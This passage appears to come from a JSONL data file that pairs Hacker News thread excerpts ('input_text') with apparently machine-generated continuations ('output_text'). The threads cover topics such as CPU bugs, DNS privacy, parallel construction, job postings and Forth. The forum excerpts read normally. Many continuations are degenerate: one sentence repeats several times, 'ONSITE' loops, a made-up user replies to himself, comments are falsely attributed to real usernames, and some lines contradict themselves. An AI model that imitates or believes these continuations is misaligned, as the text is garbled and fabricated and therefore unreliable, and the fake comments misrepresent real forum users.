others?\n\n\\- Does the boss seem to be a bit of a micromanager? Does he or she seem to be\nmicromanaging others?\n\n\\- Does the boss seem to be a bit of a know-it", "input_text": " on any team\ncomposed of such antisocial people. Pretty much no one here communicates\neffectively. Cliques are demarcated along racial lines; there Chinese and\nIndian groups don't really talk to each other, and don't \"accept new members\"\nthat don't speak their language.\n\nThis is the loneliest place I'd ever worked. What's surprising is that I never\nthought I could be so lonely at work of all places.\n\nSo, lesson learned: if you aren't allowed to do a meet-and-greet with the team\nbefore accepting an offer, don't even think about taking it!\n\n~~~\nballs187\n> Chinese and Indian groups don't really talk to each other, and don't \"accept\n> new members\" that don't speak their language.\n\nThis is pretty common among both racial groups.\n\nAnd, if we're talking about the US, it was common across pretty much every\nethnic group that emigrated here.\n\n~~~\ndba7dba\nIn this context it's the fault of managers. Sure racial lines exist but such\nhostility should not be allowed to exist by management.\n\n------\ngrandalf\nBosses can fall short in a lot of ways. While your intuitions might clue you\nin to some failings, others are very difficult to spot. My advice would be:\n\n\\- Do the others on the team seem happy? Did you get to meet any during the\ninterview process? Do they seem to be happy to work there and comfortable in\nthe environment?\n\n\\- Does everyone seem to get quiet or smile officiously around the boss?\nThat's a big warning sign. It probably means the boss is a bit of a tyrant or\nmaintains an unhealthy power differential with the team."} +{"output_text": " this\nmoment I'm not sure if disabling C6 state on package (or was it core?) is an\neffective workaround._\n\nI don't know about that, but I've seen a lot of people with the same bug\nreport it as a workaround.\n\n------\njedberg\nI'm curious if the new CPUs will be able to run the new AMDGPU driver.\n\n~~~\nshmerl\nI don't think so. The new driver is not", "input_text": " and big die sizes, for AMD, it is\njust a way to make an additional $10-$20 per CPU sale.\n\nChipsetless setup should allow for smaller motherboards with better POL setup.\n\n------\nshmerl\nSo what's the best upgrade path from 1700X, 2700 or 2700X? 2700X sounds more\nlike an upgrade from 1800X.\n\n~~~\nTwoNineA\nWhy do you want to upgrade the 1700X? What does the 2000 line bring other than\na 15% (being very optimistic) performance gain?\n\n~~~\nshmerl\nPersonally, because my CPU has a hardware bug[1], which is now worked around\nby disabling package C6 state, and I already went through RMA for the segfault\nbug, so I'd rather now get a newer CPU to begin with.\n\n[1]:\n[https://bugzilla.kernel.org/show_bug.cgi?id=196683](https://bugzilla.kernel.org/show_bug.cgi?id=196683)\n\n~~~\nIronBacon\nI think I've read locks/hangs' reports even with newer APUs, and at this\nmoment I'm not sure if disabling C6 state on package (or was it core?) is an\neffective workaround.\n\nOr the suggestion to slightly increase voltage or a light overclock.\n\nI wanted to upgrade to Ryzen but I don't want to spend time to troubleshoot\nthe HW. Seems like it's only triggered on a BSD/Linux system, don't know if\nthey were joking when they said that Windos is never that idle...\n\n~~~\nshmerl\n_> I think I've read locks/hangs' reports even with newer APUs, and at"} +{"output_text": "\n\n~~~\nmattzito\nI don't think that's a good idea.\n\nIf you're a VC, you're investing in a company that you believe has a chance of\nsuccess. If you're a founder, you're investing in a company that you believe\nhas a chance of success.\n\nIf you're a VC, you're investing in a company that you believe has a chance of\nsuccess. If you're a founder, you're investing in a", "input_text": " top 10% of\nthe deals vastly reduces your chance of having a decent return.\n\n~~~\nbackprojection\nWhat if, rather than offering equity, crowdfunders got voting rights instead.\nI feel that most of the outrage from the Oculus deal is that people feel\nbetrayed. They could almost not have picked a worse outfit to have been bought\nby (rightly or wrongly, the point here is sentiment). If there had been a\nshareholder-esque vote, I think it's unlikely the deal would have been\napproved.\n\nSo maybe that could be the deal going forward - sure I'll put up $100 to fund\nyour project, but that comes at the cost of you not selling out in the future.\n\nEDIT: Clearly the weight of your vote would be proportional to your\ninvestment.\n\n~~~\nmattzito\nThis would be disastrous for startups - for $100 you get a say in what we do?\n\nHow deep does that go? Change of control events? That would basically mean\nthat a startup would have to disclose that they were in negotiations for\nacquisition/investment/whatever, with whom, and for how much. That would\nbasically mean potential acquisitions would become public knowledge - it's\nhard enough keeping them quiet when it's just the startup, their investors,\nand the acquirer involved.\n\n~~~\nbackprojection\nWell your vote would be proportional to your investment, $100 out of $2.4M, in\nthis case.\n\n> That would basically mean potential acquisitions would become public\n> knowledge\n\nThat would kind of be the point, it would be about fairness. People may not\nwant to invest in a promising project that could change the world, just for it\nto be bought up by the next FB/Google."} +{"output_text": " to the bottom of the page.\n[http://hn.premii.com/app](http://hn.premii.com/app)\n\n------\njameszhao00\nI'm not sure if this is a bug or not, but when I click on the \"rainy day\"\nbutton, the page scrolls to the top.\n\n~~~\nstarbugstone\nI think it's a bug. I'm not sure if it's a bug in", "input_text": "/rainyday.js/demo012_3.html)\n\n~~~\nstarbugstone\nThat patch of blue sky on the right doesn't feel quite right and takes the\nrealism out of it a bit.\n\nI know, just me being fussy. Impressive use of canvas though, it could be\nreally nice as an appeasing background image on a site. Using the navigator\ngeolocalisation and a weather site we could have a weather sensitive site.\nHave to test resource wise and see.\n\n------\njameszhao00\nLooks pretty cool but the heavy aliasing is a bit distracting.\n\n~~~\nfudged71\nYeah, I mostly see blinking pixels. Maybe it is better on a retina display.\n\n~~~\nTheSpiceIsLife\nVery convincing on Retina display from two feet or more.\n\n------\nTD-Linux\nThis is more impressive than I first thought... I wiped my screen, thinking I\nhad sneezed on it.\n\n------\nseanica\nPress F11 then refresh. Reminds of screensavers I wrote in the 90s/early\n2000s. Very nice.\n\n------\npiratebroadcast\nI'm finally getting pretty comfortable with Rails, HTML, CSS, enough to\nactually use things like this. Can anyone recommend slick/good looking js like\nthis that would be fun to toy with?\n\n~~~\nthekingshorses\nYou can try it out my hacker news web app for mobile.\n[http://hn.premii.com](http://hn.premii.com)\n\nSource code at [http://github.com/premii/hn](http://github.com/premii/hn) Or\nThis is another awesome HN app. Scroll down"} +{"output_text": " mention are all things that can be done with a registry edit.\n\n~~~\npoisonborz\nI'm not sure if you are aware of the fact that Windows 10 is a hybrid of\nWindows 7 and Windows 8.1.\n\nWindows 7 was a very stable OS, but it was also very limited in terms of\nhardware support. Windows 8.1 was a huge step forward in terms of hardware\nsupport, but it was also a huge step back in terms of", "input_text": " to stay connected to what is, for that generation, a normal life.\n\n------\nviraptor\n> but the truth is that the built-in antimalware protection in Windows is\n> simply horrible (according to various AV comparisons, Microsoft Essentials\n> misses over 20% of in-the-wild malware)\n\nAV comparisons have to be normally taken with a pile of salt. There's rarely\nan independent one. And even once you start looking at 3rd parties, it turns\nout they enable attack surface on their own. Then there's a number of 3rd\nparties which rely on cloud scanning aka \"submit it to virustotal\".\n\nHere's some more context for why the comparisons are tricky: [https://www.mrg-\neffitas.com/research/stop-using-virustotal-t...](https://www.mrg-\neffitas.com/research/stop-using-virustotal-to-measure-how-av-sucks/)\n\n------\npoisonborz\nAt this point I'm not sure that a desktop OS with this wide hardware\ncompatibility and backwards compatibility can be written any better than\nWindows 10.\n\nThe thing is, if you are an experienced user with willingness to search for\nsolutions, you can fix most of the problems. Disable updates completely,\ndisable cortana, stop 99% of the telemetry, use alternative utilities instead\nof the built-in ones, fix security issues with network rules etc.\n\nIt takes time and patience, but in the end you get a good work environment\nthat is relatively stable, compatible with literally every hardware and also\nhas the absolutely widest selection of software available. That is all I want\nfrom an OS.\n\n~~~\ndevwastaken\nThe fixes you"} +{"output_text": "'s meant to be a stable, secure, and reliable\nbrowser.\n\nI'm not sure how they can make it clear that they're not going to be selling\nmy data, but I'm not sure how they can make it clear that they're not going to\nbe sharing it with 3rd parties.\n\n~~~\ngeofft\n> _I 'm not sure how they can make it clear that they're not going to be\n> sharing it with 3rd parties", "input_text": " a little. Counterpoint: only god knows what Google is sending itself\nfrom Chrome!\n\n~~~\nnallerooth\nThe difference here is that you expect Google to collect -a lot- of data about\nyou and your browsing habits. You can also be quite sure that they'll want to\nkeep that data to themselves.\n\nWhen my data ends up at a third party, especially without my knowledge, I'm\nmuch more concerned about it being sold and or shared further.\n\n~~~\ngeofft\n> _When my data ends up at a third party, especially without my knowledge, I\n>'m much more concerned about it being sold and or shared further._\n\nAs stated in the mailing list thread linked in the article, Mozilla has a\nlegal agreement with Cloudflare that the data will not be stored long-term,\nlet alone sold or shared. My reading is that they're keeping information about\nDNS requests and responses, but _not_ who made the request, for 24 hours for\ndebugging purposes, and then getting rid of all logs. The data they're\nactually interested in is performance, not the DNS flow itself.\n\nYou're welcome to decide that Mozilla's trust in other companies is misplaced\neven if they get a signed contract, and if you do, _that_ would be a good\nreason to cease using Firefox (Nightly or otherwise!). But if you're not of\nthat opinion, it doesn't make sense to worry that the data simply happens to\ngo through a third party.\n\n(Also, what third parties see your DNS data today? Do you think your ISP is\nnot tracking this?)\n\n------\nr00fus\nI'm ok as long as they make it _up front and clear_. It's not meant to have\nthe \"latest greatest\" \\- it"} +{"output_text": " evidence\".\n\n~~~\nbandushrew\nI am not incorrect. I am simply stating that parallel construction is a legal\nexplanation for how you obtained evidence.\n\nI am not saying that parallel construction is a legal explanation for how you\nobtained evidence.\n\nI am saying that parallel construction is a legal explanation for how you\nobtained evidence.\n\n~~~\ntptacek\nYou're not wrong, but you're not right either.\n\n~~~\n", "input_text": " agency budgeting justification.\n\n~~~\nsaraid216\n> That is a complete non sequitur.\n\nAgreed. I'm not remotely a fan of the war on drugs or its consequences for the\nprison-industrial complex or the militarization of the police.\n\nThe real root is really shitty legislation based on shitty moralizations based\non shitty philosophical grounds, the absurd nature of how the police are\nfunded, and the ridiculous political reality of law enforcement offices. It's\nsuch a multifaceted problem that I'm unwilling to try to tackle it myself.\n\nBut all of this was just a handy example for why wishing for an \"empirical\ninvestigation\" is not necessarily the right way to go about things.\n\n------\nXeroday\nI wonder how much of this was actually parallel reconstruction vs\n\"investigative research\"\n\n~~~\ntptacek\nHow exactly would parallel construction have helped here? To effect a search,\nwith or without \"parallel construction\", you have to have probable cause.\n\n~~~\nbandushrew\nthe entire _point_ of parallel construction is to construct a legal\nexplanation for the presence of data needed for the conviction.\n\nie, I would use illegal means to obtain proof that you have convicted a crime,\nthen I would use parallel construction to provide a legal explanation for how\nI obtained the proof.\n\niee, parallel construction is what they use when they did not have probable\ncause.\n\nI am having trouble believing that you do not understand that? what am I\nmissing?\n\n~~~\ntptacek\nYou're having trouble because you are incorrect about how parallel\nconstruction works. Parallel construction is not the Orwellian term for simply\n\"coming up with a bullshit story about where you got your"} +{"output_text": ".\n\n~~~\nsuperduperuser\nI agree with you. I think the problem is that the education system is\nfundamentally broken.\n\nI think the problem is that the education system is fundamentally broken.\n\nI think the problem is that the education system is fundamentally broken.\n\nI think the problem is that the education system is fundamentally broken.\n\nI think the problem is that the education system is fundamentally broken.\n\nI think the problem is that the", "input_text": "u\nI think community colleges are great, and if you can get one on one\ninstruction anywhere it is fantastic. The challenge is that bootcamps are\nreally designed for people who are changing careers. Which means they have\nalready gone through college or actively working. So it becomes an issue\nbecause they are reliant on income to survive and they aren't living with\ntheir parents.\n\nBasically it's unplanned and so much harder to able to commit two years.\n\nCertainly do-able, but challenging when you are thinking of it from a consumer\nperspective. Spend two years working towards a career shift or get it done in\n6 months.\n\nMaybe community colleges can do a better job of marketing themselves.\n\nBut ultimately I think the fact that computer science isn't a requirement in\nall education is criminal. We study \"Math\" and \"English\" in school. \"Computer\nScience\" is the equivalent of math 100 years ago, it needs to be a mandated\nrequirement.\n\n~~~\nsuperduperuser\n\"\" Computer Science\" is the equivalent of math 100 years ago...\"\n\nWould mind expanding on that?\n\n~~~\nraiyu\nYou can't live in the modern world today without understanding math.\n\nYou also can't live in the modern world without language and the ability to\ncommunicate.\n\nTo me math is a language. Different than our verbal languages, but it is still\na language none the less and essential.\n\nProgramming to me is also a language. And it is as essential today as math was\noriginally. There was a long period of history where lower economic classes\nwere prevented from learning and educating themselves and the fact that we\nhave education that is subsidized by the government to various levels in all\nmajor countries is something that we take for granted"} +{"output_text": ".js and was blown away by how easy it was to\ncreate a chart. I've been using it for a few months now and it's been a\npleasure to work with.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think it's a good example of how to use d3.js.\n\n------\njoshu\nI'm not sure I understand the point of this", "input_text": ", but I guess money finds a way, even when it's\nbitcoin.\n\n~~~\nmrb\nThat is correct. ASICMINER went through an informal IPO, selling at the time\nthe equivalent of $200k or so of shares. With these funds plus the project's\ncreators own investments, they designed a custom 130nm ASIC.\n\n\n------\ntmflannery\nThe article talks about crowd processing eliminating falsified balances, but\nit doesn't go into some exchanges getting hacked. Hasn't that been a security\nconcern? Haven't people lost money that way? I know my credit card numbers can\nget stolen, is that the right comparison? Do exchanges just make you whole?\n\n------\nRustyRussell\n\"The bitcon economy is growing fast.\"\n\nPerhaps it is, but don't think it's what you meant :)\n\n~~~\nalphydan\nthanks for the typo notice. I really hope that's not what it becomes... but\nwho knows? :)\n\n \n\nBuild An Animated Chart In 19 Lines Of Code With d3.js - louischatriot\nhttp://needforair.com/blog/2012/05/09/d3-tutorial/\n\n======\nTwistedWeasel\nI've been learning d3.js myself lately, and i'm very impressed. As it's\npopularity increases it's worth reading this article from Mike Bostock, the\ncreator of d3 proposing some conventions to follow when building charts with\nd3...\n\n\n\n------\najtulloch\nA few months ago I learned d3"} +{"output_text": ".\n\n------\njoshstrange\nI've been using this for a while now and it's been great. I've been using it\nto delete files that I don't need anymore but I've also been using it to\ndelete files that I don't want to delete but I don't want to keep them around\neither.\n\n------\njoshstrange\nI've been using this for a while now and it's been great. I've been using it\n", "input_text": "rather \"files canonically being on small/fast media, and then migrating to\nslower media when you stop caring about them, as if a garbage-collection pass\nhad occurred, leaving your disk with more space.\" Basically, HSM should do\nautomatically what people do manually when they e.g. burn files to optical\ndisks to clear up space.\n\n------\ndrhayes9\nFor easy-to-use OSX automation I'm a big fan of Hazel:\n[http://www.noodlesoft.com/hazel.php](http://www.noodlesoft.com/hazel.php)\n\nI bet you could set up something similar in it.\n\n------\nkolev\nThis is a pretty good idea. Add the ability to tag a file/files with TTL from\nthe CLI as well.\n\nSource code: [https://github.com/tdlm/os-x-self-\ndestruct](https://github.com/tdlm/os-x-self-destruct)\n\n~~~\nscott_karana\n> Add the ability to tag a file/files with TTL from the CLI as well.\n\nYou can use the OS's standard facilities to do what you want: see `xattr` and\n`mdfind`.[1] There's also `tag`[2]\n\n \n \n 1 http://apple.stackexchange.com/questions/93979/are-the-osx-mavericks-tags-visible-from-the-command-line\n 2 https://github.com/jdberry/tag\n\n~~~\nkolev\nI'm using tag, too, but it's in C, so, I suggested xattr to the author"} +{"output_text": " it's just that I'm not looking for it?\n\n~~~\nMichaelMoser123\nI am not sure if I am looking for it. I am not a programmer. I am a\nmathematician. I am not sure if I am looking for it.\n\n~~~\nlucideer\nI'm not sure if I'm looking for it either, but I'm not sure if I'm not.\n\nI'm not sure if I'm looking for it either,", "input_text": " a bit violent (for lack of a better word), the way the content swings\ninto place very non-subtly. I would dump all of that effect, it doesn't appear\nto actually serve any purpose - other than to be flashy - and makes it much\nharder to just read about TrackReddit.\n\n------\npapa_bear\nPretty cool, just signed up. Like everyone else said, I'd probably change the\nlink to direct to your normal landing page. Also, the animations are pretty\njarring on the landing page, especially if I try to jump to a section before\nI've been there. This is one of those times that I think just removing all the\nanimations would be a big help.\n\n------\nhighace\nGreat, but what happens if Reddit changes their API or SLA, or just plain\nshuts you out? Business = poof.\n\n~~~\nandreasklinger\nIsn't this true for pretty much any media analytics tool?\n\n------\nharryf\nInteresting but \"Tracker must be at least 5 characters long\" is a bit of a\nproblem. How to track something like \"Yo\" for the Yo App or \"Gaza\" for the\ncurrent unrest there?\n\n------\nfogleman\nNo clue what I'm looking at. ios, appletv, ipod?\n\n------\nrats\nTried to search for the mentions of \"Coub\", it tells me that search term\nshould be at least 5 characters. Oh dear.\n\n \nAsk HN: Why is there so little programming related content on HN? - MichaelMoser123\nIs the profession getting stale or boring?\n======\nlucideer\nAs someone who browses here most days, it seems packed full of programming\nrelated content. Perhaps"} +{"output_text": " none of them got mad and told someone outside the company.\n\nI don't know the details, but I would guess that the engineers who designed\nthe software were not the ones who wrote it. I would guess that the software\nwas written by a team of programmers, and that the software was tested by\nengineers, and that the software was reviewed by managers.\n\nI would guess that the software was written by a team of programmers, and that\nthe software was tested by", "input_text": "chell manuals.\n\n(The only reason so many smog shops only buy the Motor publications is because\nthey are cheap. Any Smog technician will tell you they have found multiple\nerrors in Motor Emission Publications. Vechicle owners don't have a clue to\nthis problem, and are just sent home with a failed Smog test, or end up\nspending a day taking to CARB--just praying they will get an exemption. All of\nthis is due to errors in Motor Emission Publications.)\n\n------\nharryh\nTwo things that are surprising to me about this story:\n\n1) The secret was kept for so long. How many programmers were involved with\nthe relevant code? How many project managers signed off on it? Surely VW does\nits own emissions testing internally so some of them must have known. How high\nup in management did this go? It seems like it must have been quite a few.\nAmazing that none of them got mad and told someone outside the company.\n\n2) I would never have guessed that emissions from a car engine could vary so\nwidely. 20%? Sure. 50%? Sure. But news outlets are reporting that these cars\nare emitting at least 10x and possibly as much as 40x NOx as they should. This\nis clearly because of my ignorance of the details of the engineering here, but\nI was shocked that such a difference could happen.\n\n~~~\nhackuser\n> The secret was kept for so long. How many programmers were involved with the\n> relevant code? How many project managers signed off on it? Surely VW does\n> its own emissions testing internally so some of them must have known. How\n> high up in management did this go? It seems like it must have been quite a\n> few. Amazing that"} +{"output_text": "\nwebsite.\n\n[https://www.aircanada.ca/en/airports/montreal/airport-\ninfo/f...](https://www.aircanada.ca/en/airports/montreal/airport-info/flight-\ninfo.html)\n\n[https://www.aircanada.ca/en/airports/montreal/airport-\ninfo/f...](https://www.aircanada.ca", "input_text": "Because of a lack of professional quality games. That\u2019s not a inherent problem\nwith Linux and I never claimed there to be one (I honestly don\u2019t know whether\nthere is one).\n\n~~~\ncode_duck\nThere might be issues with sound subsystems across distributions (or um..\nwithin distributions), but games on Linux perform quite well and are\nindistinguishable from other platforms (I spent a good bit of time playing UT\n2003 on Linux, and it works perfectly).\n\n------\nswah\nI don't understand, why is this program valuable to be open-source? What does\nit do?\n\n \nAsk HN: Why did I get printed the wrong boarding pass? - passenger09\nI took a flight from Montreal to Frankfurt.\nToday i checked my printed boarding pass (apparently the first time) and noticed it is completely wrong.

things which seems to be in common:\nFlight number: AC 8742 (printed flight)\n AC 874 (my flight)

levenshtein distance of printed name: 12, m = 15, n = 12

boarding pass: https://imgur.com/56ZRhOI

Seems like the only thing in common is that the boarding passes where probably printed at the same time.

Any suggestions what can possibly go wrong when a computer system prints a boarding pass, based on \nthe scanned passport?

In case you feel like that could be your lines of code, let us know :)\n======\njoezydeco\nYou took a flight from Montreal to Frankfurt, but your boarding pass says\nMontreal to Bathurst, New Brunswick.\n\nA handy way to look up flight numbers and destinations is an airline's"} +{"output_text": " postings is here:\n[http://www.10xgenomics.com/careers/](http://www.10xgenomics.com/careers/)\n\n------\njoshu\nPivotal | ONSITE | ONSITE | ONSITE | ONSITE | ONSITE | ONSITE | ONSITE |\nONSITE | ONSITE | ONSITE | ONSITE | ONSITE | ONSITE | O", "input_text": " plenty of computational\nbiologists here to handle that, but there is a lot to learn about if you're\ncurious.\n\nWe're currently hiring for several software roles, but specifically for\ngeneralists, senior UI engineers, QA engineers, and infrastructure engineers.\nOur computational biology group is also always looking for bioinformaticians\nwho are experienced with NGS, and our company is always looking for scientists\nand engineers (hardware included). Here are some of the job postings we have\nup, but feel free to email me if you think you're a good fit for another role.\n\n\\- Software Engineer -\n[http://www.10xgenomics.com/careers/274521/](http://www.10xgenomics.com/careers/274521/)\n\n\\- Senior UI Engineer -\n[http://www.10xgenomics.com/careers/274522/](http://www.10xgenomics.com/careers/274522/)\n\n\\- Linux / Infrastructure Engineer -\n[https://www.10xgenomics.com/careers/537730/](https://www.10xgenomics.com/careers/537730/)\n\n\\- Software Quality Engineer -\n[http://www.10xgenomics.com/careers/476114/](http://www.10xgenomics.com/careers/476114/)\n\n\\- Software Quality Engineer (Computational Biology) -\n[http://www.10xgenomics.com/careers/472908/](http://www.10xgenomics.com/careers/472908/)\n\nJust a note that we do have an office in San Francisco even though the\nlistings only specify Pleasanton. Our full page of job"} +{"output_text": " | San Francisco, CA | Full-time | Onsite\n\nRolePoint is a fast-growing, profitable, and mission-driven company that\nprovides a platform for companies to manage their talent. We are a small team\nof engineers, designers, and product managers who are passionate about\nbuilding great products and solving hard problems.\n\nWe are looking for a few engineers to join our team. We are looking for\nengineers who are passionate about building great products and solving hard", "input_text": " need you to be comfortable with a web platform. Our\nserver-side code is written in C# and our web front end has a fair bit of\nJavascript, so you\u2019ll need to know one of these or be able to pick them up.\n\nWe work pretty generally, so experience of any of the following would be a\npositive: React, iOS, shell scripting, infrastructure automation, building API\nintegrations, and databases (particularly SQL Server).\n\nWe offer competitive salaries dependent on experience. We\u2019re committed to\neveryone\u2019s professional development, so we offer a flexible training budget\nfor you to spend on attending training courses or other events, as well as\nbrown bag talks and Kaizen weeks for self-improvement and experimentation. In\naddition to this we offer 25 days holiday (plus bank holidays and 3 days over\nChristmas and New Year), 3% employer pension contributions and discounted gym\nmembership.\n\nSo, if you\u2019ve got an interest in education and a desire to learn your craft\nalongside others making the same journey, we want to hear from you. Our\ninterview process is a call to get to know each other a bit more, a short take\nhome test, and then an on-site interview with me, some of our developers, and\nthe founding partners of Firefly (we like to be thorough and also make sure\nyou meet a good cross-section of the team!)\n\nDrop me an e-mail (robin at fireflylearning.com) or apply on our website \u2013\n[http://fireflylearning.com/join-our-\nteam/jobs](http://fireflylearning.com/join-our-team/jobs)\n\n------\nrolepoint\nRolePoint | (mostly) Python Software Engineers, Technical Support, Customer\nSuccess"} +{"output_text": "jrockway\nI think the problem is that people are writing code for other people, not\nthemselves.\n\nIf you are writing code for yourself, you don't need to document it. If you\nare writing code for other people, you should document it.\n\n~~~\nerikb\nI think that is a very good point. I think that the problem is that people\nwrite code for other people, not themselves.\n\n------\njrockway\nI", "input_text": ", and comments\nshould be used in any situation that confusion could possibly arise.\n\nFor my own code, aside from commenting on obviously confusing sections, I tend\nto create functions that have an easily understood purpose when called, but I\ntend to use 1-2 lines of comments when I declare the function so that I can\nfeel reasonably sure that anyone reading my code wont have too many questions.\nI've found through feedback that this is a fairly functional method of\ndocumentation.\n\n------\nanamax\nHow can I make my code explain why it wasn't done some other way, or two other\nways?\n\n~~~\nerikb\nThat is a very good point. But it is not contradicting the main point of most\npeople here. Of course there is good documentation and important\ndocumentation. It is just that most of the times your code does not need a big\nbloat of text around it.\n\nAnd I would say that your point is a much better example than the one used in\nthe blog post.\n\n------\nsliverstorm\nI'm not going to argue that you should not document your code, but two things\ncome to mind:\n\n1) With the backup example- you have indeed moved complexity elsewhere, but\nthe idea of that kind of setup is you logically separate complexity into a\nhierarchy so that the proper segment can be rapidly located, and is easy to\ncomprehend because it is isolated, and small chunks of complexity are not all\nthat hard to understand.\n\n2) Every example of well written self-documenting code I've ever seen is\npretty much superior to the alternative in every way, with the possible\nexception of small performance hits. It's generally a good goal to shoot for,\nwhether you document your code or not.\n\n------\n"} +{"output_text": " day!\n\n------\njoshstrange\nPilotlight | [https://pilotlight.com](https://pilotlight.com) | Full-Time |\nOnsite | San Francisco, CA\n\nPilotlight is a Series A funded startup that is changing the way people\ninteract with their devices. We are building a platform that allows users to\ninteract with their devices in a way that is more natural, intuitive, and\nengaging.", "input_text": " find\nyour own place to live last month.\n\nInterview process: 1st phone interview (screening) -> 2nd phone interview\n(technical) -> home assignment/technical challenge (depending on application)\n-> 3rd interview (mixed, via phone or onsite)\n\nPlease note that our reply times are still a bit slower than usual because we\nstill have a backlog from last month as a lot of time was taken up by our\npresence on an important trade fair.\n\n~~~\nManikandan\nI applied a month ago, never got a reply. 1 month is too long for a reply\nthough!\n\n------\nbitxbitxbitcoin\nPRIVATE INTERNET ACCESS |\n[https://www.privateinternetaccess.com/](https://www.privateinternetaccess.com/)\n| Developers, DevOps, Marketing, Tech Support | Denver, CO | Onsite [Remote to\nqualified applicants] | Full-Time\n\nPRIVATE INTERNET ACCESS is fighting the good fight against censorship,\nsurveillance, and overall evil.\n\nPlease e-mail jobs@privateinternetaccess.com to APPLY. Please make sure to\nsend a resume, cover letter, links to anything worth seeing, etc.\n\nPlease read this if you haven't already:\n[http://www.activism.net/cypherpunk/manifesto.html](http://www.activism.net/cypherpunk/manifesto.html)\n\nIf you want to help fight the good fight with the company who has donated the\nmost to organizations such as the EFF, FFTF, Creative Commons, Linux Mint,\nFreenode, etc., then send us an e-mail.\n\nThank you in advance, and have a wonderful"} +{"output_text": "es about Forth is a consequence of the fact that\nit's a stack-based language.\n\n~~~\njrockway\nI guess I should have been more clear. I don't like Forth because it's\nimperative. I like it because it's stack-based.\n\n~~~\njrockway\nI guess I should have been more clear. I don't like Forth because it's\nimperative. I like it because it's stack-", "input_text": "\n\nobj.wordA(); obj.wordB(); obj.wordC();\n\nBlending this with more imperative or functional constructs, I can get the\nbest of both worlds: something compact and readable but also self-documenting,\nwith decent type and parameter safeness.\n\n------\nCapitalistCartr\nReminds me of cats. Ask someone who hates cats to describe cats, and cat\nlovers will agree with the description. Cat hater ends with something like,\n\"And that's why I hate cats,\" while cat lover ends with, \"And that's why I\nlove cats.\" Both to the same description.\n\n~~~\nDannoHung\nI like cats, but I am really allergic to them, and thus hate being around\nthem.\n\nWhat is the similar situation for a programming language?\n\n~~~\nzck\nI have had people assert that they are allergic to parentheses, causing them\nto hate Lisp.\n\nOf course, offering to make them a read macro to let them use any two other\ncharacters in place of parentheses didn't help, but such is life.\n\n------\njrockway\nWhat a strange article. He's upset because it's easy to experiment and test\nwith Forth? OH NOES, TEH TERRIBLES!!\n\nIf you don't like interactive development, then just type everything into a\nfile, compile it, and run. The choice is yours.\n\nIf there's something to complain about with respect to Forth it's the\nflakiness of concatenative programming. I'd rather write a program in terms of\nfunction application or sending messages than in stack transforms. That's why\nI don't like Forth, and is probably the only _real_ reason to dislike it.\nEverything the author dislik"} +{"output_text": " We're working on a Hipchat integration right now.\n\n------\njoshstrange\nI'm not sure I understand the value proposition here. I'm not a huge fan of\nHipchat but I'm not sure I see the value in this.\n\n~~~\nmydigitalself\nWe're trying to solve the problem of having to switch between chat clients.\n\n~~~\njoshstrange\nI don't see how this is any different than using a different", "input_text": "https://gitter.zendesk.com/hc/en-\nus/articles/200178961-Why-d...](https://gitter.zendesk.com/hc/en-\nus/articles/200178961-Why-do-you-ask-for-write-access-to-my-profile-)\n\nLong answer: [https://gitter.zendesk.com/hc/en-\nus/articles/200176672-Authe...](https://gitter.zendesk.com/hc/en-\nus/articles/200176672-Authenticating-with-GitHub)\n\n~~~\nmisterdai\nAny idea if GitHub will ever alter the way that works so you can avoid it\ngiving you write access. I was all ready to give Gitter a go until I saw the\npermissions that would be granted. Sure you're trust worthy but us IT types\ncan be paranoid ;-)\n\n~~~\nsuprememoocow\nHi, this is Andrew from Gitter.\n\nAnd we completely understand. We're waiting on Github to update their OAuth\nscopes, and we understand that they're working on it.\n\nIf you're not comfortable with the OAuth permissions Gitter requires, you\ncould try Gitter's sister product, Troupe [https://trou.pe](https://trou.pe).\nIt's got most of the same features, but with less Github integration and no\nmarkdown or syntax highlighting.\n\n------\nimjared\nPretty cool but I can't see having another chat client on top of Hipchat. Wish\nthere was some way to bake this into Hipchat since the features look awesome.\nGreat work!\n\n~~~\nmydigitalself\nThanks!"} +{"output_text": "ops to do it, but they're not going to do it.\n\n~~~\njasonkostempski\nI think the web is destroying MS on the client-side because it's a lot easier\nto build a web app than a native app.\n\n~~~\nJohnL4\nI think you're right. I think the web is destroying MS on the client-side\nbecause it's a lot easier to build a web app than a native app.\n\n", "input_text": "infested disaster area.\n\n~~~\ngarganzol\nCOM is good and it is anything except disaster. It its raw form, COM is just a\nsmall and natural abstraction over plain C interface.\n\nJust like a C interface is a small and nice abstraction over plain\nregisters/stack call models of the past.\n\nThe advent of calling conventions like C was a huge step forward in 1970s.\nBefore that, there was a mad zoo of passing parameters via random CPU\nregisters and praying that you made no mistake and it would work without a\ncrash.\n\nCOM is no different. IUnknown is just 3 methods (QueryInterface, AddRef,\nRemoveRef) over a plain C. It immediately brings an ability to use service\nmodel design in APIs.\n\n------\ngmaster1440\nPersonally strikes me very much as an article making valid points but\ngenerally in bad faith. Microsoft can both begin to change and embrace Linux\ngradually as they've been doing recently and at the same time have an unsavory\npast with the ecosystem. If anything, they're willingness to change, however\nsmall, should be interpreted generally as a positive shift.\n\n------\nJohnL4\nOof. All these Linux-on-desktop replies.\n\n(1) The web is (slowly) destroying MS on the client-side. Sure, there's a ton\nof existing WinForms/WPF stuff now, but I think new development is on the web.\n\n(2) Linux is destroying MS on the server-side. It is simply impossible to beat\nthe price (both AMZN and MS offer Linux images at half the price of Windows\nimages).\n\nSo, where does that leave MS? Competing with AMZN in cloud infrastructure.\nThey have the technical ch"} +{"output_text": " it. I'm not sure I would have been willing to pay that much for a\nphone with the same features, but without the restrictions.\n\n~~~\njrockway\n_Ideally I could make a choice to buy an Andriod phone from a manufacturer\nwith no branding and no restrictions, pay full price for it, and accept that\nthe additional cost is what I'm willing to pay for an unrestricted, unbranded\nphone. The inability to purchase a phone like", "input_text": " holes in the vendors crappy security systems. The\nfact that they don't even invest enough resources into a quality security\nframework (which helps increasing their revenue) speaks volumes of the quality\nof the other \"improvements\" they make to stock android.\n\n~~~\ndrivebyacct2\nBut that is because of the carriers. Why do you think Motorola implemented a\nsigned multistage boot process? I'm sure they didn't say, \"We want to limit\nour customers and waste engineering resources on a problem that voids the\nwarranty anyway and doesn't matter to us\".\n\nNah, they reacted to VZW's threats.\n\n~~~\nkelnos\nNitpick: regardless of what the scare-message says when you unlock your N1's\nbootloader, changing the software on a device cannot (by law, in the US) void\nthe warranty on the hardware, unless it is demonstrable that the software\nmodification actually damaged the hardware.\n\n------\nrm-rf\nThe key here is the unavailability of non-carrier branded unrestricted Android\nphones in the US. If I get subsidized by the carrier when purchasing the\nphone, dealing with crapware and restriction is part 